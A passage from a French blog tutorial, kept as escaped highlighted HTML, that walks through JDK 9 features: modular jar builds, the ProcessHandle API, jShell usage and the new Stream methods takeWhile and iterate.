&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Jdk9Modular&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et si je voulais entrer les commandes « à la main » dans mon terminal. Je me &lt;a href="https://blog.codefx.org/java/java-module-system-tutorial/"&gt;base sur cette documentation&lt;/a&gt; que j&amp;rsquo;adapte à mon projet Netbeans et je suppose que je me trouve à la racine de mon projet.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;javac&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;classes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hello&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;classes&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="kd"&gt;module&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;java&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hello&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;classes&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Hello&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;java&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="n"&gt;jar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;modular&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;world&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;be&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Hello&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;classes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="kd"&gt;module&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;modular&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;world&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="kd"&gt;module&lt;/span&gt; &lt;span class="nc"&gt;be&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hello&lt;/span&gt;
&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;modular&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;world&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hello&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Les deux dernières commandes sont équivalentes. Notons qu&amp;rsquo;il n&amp;rsquo;est plus nécessaire d&amp;rsquo;écrire un &lt;em&gt;manifest&lt;/em&gt;, il suffit de renseigner la classe principale avec &lt;code&gt;--main-class&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="processus"&gt;Gestion des processus systèmes&lt;/h2&gt;
&lt;p&gt;Une API dédiée à la gestion des processus et décrite dans &lt;a href="http://openjdk.java.net/jeps/102"&gt;JEP102&lt;/a&gt;. Avant JDK9, il était possible de lancer des processus mais pas de les contrôler ensuite.&lt;/p&gt;
&lt;p&gt;Par exemple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Runtime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/usr/bin/xeyes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;ProcessBuilder&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ProcessBuilder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/usr/bin/xeyes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;pb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;img alt="jdk9-2-processhandle.png" src="/images/jdk9-2-processhandle.png" title="jdk9-2-processhandle.png"&gt;&lt;/p&gt;
&lt;p&gt;La classe &lt;code&gt;ProcessHandle&lt;/code&gt; offre moult méthodes pour contrôler un processus. Ces méthodes lancent des &lt;code&gt;RuntimeException&lt;/code&gt; ce qui est plus dans le mouvement actuel par rapport aux exceptions contrôlées.&lt;/p&gt;
&lt;p&gt;Je peux accéder au processus en cours mais également aux parents et aux enfants. Si l&amp;rsquo;on compare à &lt;code&gt;ProcessBuilder&lt;/code&gt; c&amp;rsquo;est beaucoup plus complet.&lt;/p&gt;
&lt;p&gt;Puisque l&amp;rsquo;on a accès à une méthode &lt;code&gt;destroy&lt;/code&gt; et à notre &lt;code&gt;pid&lt;/code&gt;, essayons de nous suicider. Je sais, c&amp;rsquo;est triste… et Java nous en empêche. Tout va bien ;-)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ProcessHandle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;me&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ProcessHandle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;current&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;My process id: %d\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;me&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;I&amp;#39;ll try to kill myself (so sad)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;me&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;destroy&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;img alt="jdk9-3-killmyself.png" src="/images/jdk9-3-killmyself.png" title="jdk9-3-killmyself.png"&gt;&lt;/p&gt;
&lt;h2 id="jshell"&gt;Jshell&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;jShell&lt;/em&gt; est une boucle REPL (&lt;em&gt;Read, Evaluate, Print, Loop&lt;/em&gt;) proposant une sorte de &lt;em&gt;shell&lt;/em&gt; en Java (un peu à l&amp;rsquo;instar de Python). &lt;em&gt;jShell&lt;/em&gt; propose une série de commandes et une autocomplétion avec la touche [TAB]. Par exemple: &lt;code&gt;list&lt;/code&gt; liste les instructions entrées depuis le début de la session, &lt;code&gt;vars&lt;/code&gt; liste les variables déclarées, &lt;code&gt;history&lt;/code&gt; pour l&amp;rsquo;historique, etc.&lt;/p&gt;
&lt;p&gt;Extrait de l&amp;rsquo;aide:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;jshell&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/help
&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Type&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;Java&lt;span class="w"&gt; &lt;/span&gt;language&lt;span class="w"&gt; &lt;/span&gt;expression,&lt;span class="w"&gt; &lt;/span&gt;statement,&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;declaration.
&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;Or&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;one&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;following&lt;span class="w"&gt; &lt;/span&gt;commands:
&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;/list&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;name&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;id&amp;gt;&lt;span class="p"&gt;|&lt;/span&gt;-all&lt;span class="p"&gt;|&lt;/span&gt;-start&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;list&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;you&lt;span class="w"&gt; &lt;/span&gt;have&lt;span class="w"&gt; &lt;/span&gt;typed
&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;/edit&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;name&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;id&amp;gt;
&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;edit&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;entry&lt;span class="w"&gt; &lt;/span&gt;referenced&lt;span class="w"&gt; &lt;/span&gt;by&lt;span class="w"&gt; &lt;/span&gt;name&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;id
&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;…&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;cut&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour quitter, c&amp;rsquo;est &lt;em&gt;/exit&lt;/em&gt;. Voir ci-dessous pour un exemple de « séance jShell ».&lt;/p&gt;
&lt;p&gt;&lt;img alt="jdk9-4-jshell.png" src="/images/jdk9-4-jshell.png" title="jdk9-4-jshell.png"&gt;&lt;/p&gt;
&lt;p&gt;Pour voir le contenu d&amp;rsquo;une variable, inutile d&amp;rsquo;écrire &lt;code&gt;System.out.print&lt;/code&gt;, son nom suffit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;jshell&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;double&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;.14&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;.14
jshell&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;System.out.print
print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;printf&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;println&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;
jshell&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;System.out.println&lt;span class="o"&gt;(&lt;/span&gt;var&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="m"&gt;3&lt;/span&gt;.14
jshell&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;var
&lt;span class="nv"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;.14
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour utiliser une classe d&amp;rsquo;un &lt;em&gt;package&lt;/em&gt; spécifique, il y a 3 manières de faire — merci &lt;a href="https://stackoverflow.com/questions/43111018/how-to-import-external-libraries-in-jshell-java-9/43112866"&gt;stacxoverflow&lt;/a&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;mettre à jour son &lt;em&gt;CLASSPATH&lt;/em&gt; avant de lancer &lt;em&gt;JShell&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;utiliser l&amp;rsquo;option idoine de la commande &lt;em&gt;jshell&lt;/em&gt;;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;jshell&lt;span class="w"&gt; &lt;/span&gt;--class-path&lt;span class="w"&gt; &lt;/span&gt;beautifuljar.jar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;utiliser la commande interne &lt;em&gt;/env&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/env&lt;span class="w"&gt; &lt;/span&gt;-class-path&lt;span class="w"&gt; &lt;/span&gt;beautifuljar.jar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;img alt="jdk9-8-jshell-import.png" src="/images/jdk9-8-jshell-import.png" title="jdk9-8-jshell-import.png"&gt;&lt;/p&gt;
&lt;h2 id="stream"&gt;Nouvelles méthodes pour la classe Stream&lt;/h2&gt;
&lt;p&gt;Quatre nouvelles méthodes pour &lt;code&gt;Stream&lt;/code&gt;: &lt;code&gt;takeWhile&lt;/code&gt;, &lt;code&gt;dropWhile&lt;/code&gt;, &lt;code&gt;ofNullable&lt;/code&gt; et &lt;code&gt;iterate&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;takeWhile&lt;/em&gt; — et c&amp;rsquo;est pareil pour &lt;em&gt;dropWhile&lt;/em&gt; — est une méthode qui va &lt;strong&gt;prendre&lt;/strong&gt; les éléments &lt;strong&gt;tant que&lt;/strong&gt; la condition est respectée et c&amp;rsquo;est en ça qu&amp;rsquo;elle diffère de &lt;em&gt;filter&lt;/em&gt; qui parcourt tout le flux.&lt;/p&gt;
&lt;p&gt;Attention, si le flux n&amp;rsquo;est pas ordonné, &lt;code&gt;take|dropWhile&lt;/code&gt;retourne n&amp;rsquo;importe quel sous-ensemble correspondant à la condition… même si l&amp;rsquo;on peut supposer que le développeur s&amp;rsquo;arrêtera dès qu&amp;rsquo;il aura trouvé un faux et ne retournera pas un autre sous-ensemble du flux.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If this stream is unordered, and some (but not all) elements of this stream match the given predicate, then the behavior of this operation is nondeterministic; it is free to take any subset of matching elements (which includes the empty set).&lt;/p&gt;
&lt;p&gt;Extrait de la Javadoc&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Par exemple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\nFilter &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%d &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Filter 1 2 1 2 1 2&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\nTake while &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;takeWhile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%d &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Take while 1 2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;iterate&lt;/em&gt; voit apparaitre une nouvelle version avec un argument supplémentaire. Là ou l&amp;rsquo;on utilisait &lt;em&gt;limit&lt;/em&gt; comme par exemple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;iterate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;limit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
